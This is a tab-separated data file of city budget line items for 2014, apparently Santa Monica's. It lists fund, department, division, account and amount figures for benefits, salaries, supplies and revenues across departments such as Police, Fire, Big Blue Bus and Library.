10448	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DCAP	816.0	Salaries and Wages	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
10449	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		UNEMPLOYMENT	816.0	Salaries and Wages	2014	14812.0	0	0	0	0.0	238	0.0	0	0	0	0	0.0	15050.0
10450	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DCAP	816.0	Salaries and Wages	2014	2496.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2496.0
10451	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	3379.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3379.0
10452	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1647.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1647.0
10453	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DCAP	806.0	Salaries and Wages	2014	6036.0	0	0	0	0.0	0	25.0	0	0	0	0	0.0	6061.0
10454	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	8368.0	0	0	0	0.0	0	79.0	0	0	0	0	0.0	8447.0
10455	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	58232.0	0	0	0	-155.0	1037	196.0	0	0	0	0	0.0	59310.0
10456	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DCAP	806.0	Salaries and Wages	2014	924.0	0	0	0	324.0	0	0.0	0	0	0	0	0.0	1248.0
10457	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		UNEMPLOYMENT	806.0	Salaries and Wages	2014	50217.0	0	0	0	0.0	2904	1227.0	0	0	0	0	0.0	54348.0
10458	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EAP	806.0	Salaries and Wages	2014	9600.0	0	0	0	0.0	0	334.0	0	0	0	0	0.0	9934.0
10459	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	15957.0	0	0	0	0.0	0	658.0	0	0	0	0	0.0	16615.0
10460	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	3692.0	0	0	0	0.0	491	0.0	0	0	0	0	0.0	4183.0
10461	B1	IS	1	General Fund	310	FIRE	315	TRAINING		EAP	806.0	Salaries and Wages	2014	309.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	309.0
10462	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DISABILITY INSURANCE		Salaries and Wages	2014	4477.0	0	0	0	0.0	67	21.0	0	0	0	0	0.0	4565.0
10463	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	164.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	164.0
10464	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	11504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11504.0
10465	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	308.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308.0
10466	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	9885.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9885.0
10467	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561201.0	CHRYSALIS-EMPLOY ASST-GEN FUND		 Supplies and Expenses	2014	276857.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	276857.0
10468	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562131.0	CIVIC CENTER MED-YOUTH PEER ME		 Supplies and Expenses	2014	52888.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52888.0
10469	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563121.0	CARE MANAGEMENT		 Supplies and Expenses	2014	207050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	207050.0
10470	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565231.0	GENERAL COMMUNITY LEGAL SRVCES		 Supplies and Expenses	2014	479219.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	479219.0
10471	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	25625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25625.0
10472	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
10473	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	7688.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7688.0
10474	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	1784056.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1784056.0
10475	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	2180595.0	0	0	0	0.0	19663	0.0	0	0	0	0	0.0	2200258.0
10476	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2014	10539.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10539.0
10477	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	15567.0	0	0	0	0.0	0	708.0	0	0	0	0	0.0	16275.0
10478	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	234707.0	0	0	0	0.0	955	2633.97	0	0	0	0	0.0	238295.97
10479	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	142230.0	0	0	0	0.0	1707	0.0	0	0	0	0	0.0	143937.0
10480	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	271687.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	271687.0
10481	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	36309.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36309.0
10482	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	344848.0	0	0	0	0.0	4339	0.0	0	0	0	0	0.0	349187.0
10483	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	224733.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	224733.0
10484	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	94777.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	94777.0
10485	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	117551.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	117551.0
10486	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	108113.0	0	0	0	0.0	0	4166.67	0	0	0	0	0.0	112279.67
10487	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511749.0	VISION	806.0	Salaries and Wages	2014	3161.0	0	0	0	0.0	0	54.0	0	0	0	0	0.0	3215.0
10488	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511748.0	DENTAL	806.0	Salaries and Wages	2014	104733.0	0	0	0	0.0	0	3125.0	0	0	0	0	0.0	107858.0
10489	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511748.0	DENTAL	804.0	Salaries and Wages	2014	5317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5317.0
10490	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511749.0	VISION	804.0	Salaries and Wages	2014	1936.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1936.0
10491	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	-43.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-43.0
10492	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511749.0	VISION	804.0	Salaries and Wages	2014	5819.0	0	0	0	130.0	0	0.0	0	0	0	0	0.0	5949.0
10493	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511748.0	DENTAL	816.0	Salaries and Wages	2014	10766.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10766.0
10494	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	1103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1103.0
10495	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511749.0	VISION	808.0	Salaries and Wages	2014	3734.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3734.0
10496	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511749.0	VISION	810.0	Salaries and Wages	2014	1094.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1094.0
10497	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511748.0	DENTAL	812.0	Salaries and Wages	2014	11626.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11626.0
10498	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2014	9528.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9528.0
10499	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511748.0	DENTAL	812.0	Salaries and Wages	2014	12844.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12844.0
10500	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	3862.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3862.0
10501	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	100233.0	0	0	0	0.0	0	4167.0	0	0	0	0	0.0	104400.0
10502	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	5666.0	0	0	0	0	0.0	5666.0
10503	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	1700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1700.0
10504	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	9051.0	0	0	0	0.0	145	0.0	0	0	0	0	0.0	9196.0
10505	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EAP	804.0	Salaries and Wages	2014	835.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	835.0
10506	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DCAP	804.0	Salaries and Wages	2014	576.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	576.0
10507	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	13752.0	0	0	0	0.0	0	0.0	1738	0	0	0	0.0	15490.0
10508	B1	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-118000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-118000.0
10509	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511748.0	DENTAL	804.0	Salaries and Wages	2014	10317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10317.0
10510	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511749.0	VISION	804.0	Salaries and Wages	2014	538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	538.0
10511	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	82941.0	0	0	0	0.0	614	0.0	0	0	0	0	0.0	83555.0
10512	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EAP	804.0	Salaries and Wages	2014	409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	409.0
10513	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250.0
10514	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
10515	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2014	1850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1850.0
10516	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1006377.0	0	0	0	60.0	14268	-2330.0	0	0	0	0	0.0	1018375.0
10517	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1575.0
10518	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	17305.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17305.0
10519	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DCAP	804.0	Salaries and Wages	2014	696.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	696.0
10520	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	577970.0	INSURANCE ADMIN	804.0	 Supplies and Expenses	2014	61500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	61500.0
10521	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404930.0	SALE OF COMPOSTING BINS	650.0	Charges for Service	2014	-6045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6045.0
10522	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	1051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1051.0
10523	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
10524	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	39656.18	39656.18
10525	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	31285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31285.0
10526	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	403460.0	0	0	0	0.0	6011	0.0	0	0	0	0	0.0	409471.0
10527	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DCAP	816.0	Salaries and Wages	2014	1296.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1296.0
10528	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402110.0	AIRPORT - HANGAR RENTAL	650.0	Charges for Service	2014	-193135.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-193135.0
10529	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	5437.0	0	0	0	0.0	64	0.0	0	0	0	0	0.0	5501.0
10530	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	3799.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3799.0
10531	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	6919.0	0	0	0	0.0	424	0.0	0	0	0	0	0.0	7343.0
10532	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	77314.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77314.0
10533	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511748.0	DENTAL	840.0	Salaries and Wages	2014	5900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5900.0
10534	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2014	14868.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14868.0
10535	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	706981.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	706981.0
10536	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2014	6097.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6097.0
10537	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	46814.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	46814.0
10538	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2014	3725.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3725.0
10539	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	4581268.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4581268.0
10540	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2014	277021.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	277021.0
10541	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	106560.0	0	0	0	0.0	1719	0.0	0	0	0	0	0.0	108279.0
10542	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	671	WATER	403950.0	EPA WATER SYS IMPROV GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	-267837.0	0	0.0	0	0	0	0	0.0	-267837.0
10543	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	579240.0	CIVIC PARKING BOND DEBT SERVIC	910.0	 Supplies and Expenses	2014	2551582.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2551582.0
10544	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2014	1026.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1026.0
10545	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	30073.0	0	0	0	0.0	443	0.0	0	0	0	0	0.0	30516.0
10546	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2014	235515.0	0	0	0	0.0	8422	0.0	0	0	0	0	0.0	243937.0
10547	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	1000.0	0	0	0	0.0	11	0.0	0	0	0	0	0.0	1011.0
10548	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	5545.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5545.0
10549	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	9058.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9058.0
10550	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2014	14161.0	0	0	0	0.0	121	0.0	0	0	0	0	0.0	14282.0
10551	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	6100.0	0	0	0	0.0	83	216.85	0	0	0	0	0.0	6399.85
10552	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		DCAP	840.0	Salaries and Wages	2014	1536.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1536.0
10553	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2014	4312.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4312.0
10554	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	3686.0	0	0	0	0.0	23	0.0	0	0	0	0	0.0	3709.0
10555	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	3075.0	0	0	0	0.0	35	0.0	0	0	0	0	0.0	3110.0
10556	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	8742.0	0	0	0	0.0	100	0.0	0	0	0	0	0.0	8842.0
10557	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2014	1908.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1908.0
10558	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	89317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	89317.0
10559	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	10352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10352.0
10560	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	189584.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	189584.0
10561	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511749.0	VISION	840.0	Salaries and Wages	2014	1928.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1928.0
10562	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	397794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	397794.0
10563	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	519610.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	519610.0
10564	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	12128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12128.0
10565	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	120261.0	0	0	0	0.0	1864	0.0	0	0	0	0	0.0	122125.0
10566	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	201735.0	0	0	0	0.0	2970	0.0	0	0	0	0	0.0	204705.0
10567	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	406071.0	PLAYA VISTA	650.0	Charges for Service	2014	-642010.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-642010.0
10568	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	408000.0	INTERFUND SERVICES-ENG	612.0	Charges for Service	2014	-298599.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-298599.0
10569	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522115.0	UTIL-LIGHT/POWER-LIBRARY PARKI	804.0	 Supplies and Expenses	2014	90421.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	90421.0
10570	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2014	37841.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37841.0
10571	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522950.0	CNG FUEL		 Supplies and Expenses	2015	4791.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4791.0
10572	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	3075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3075.0
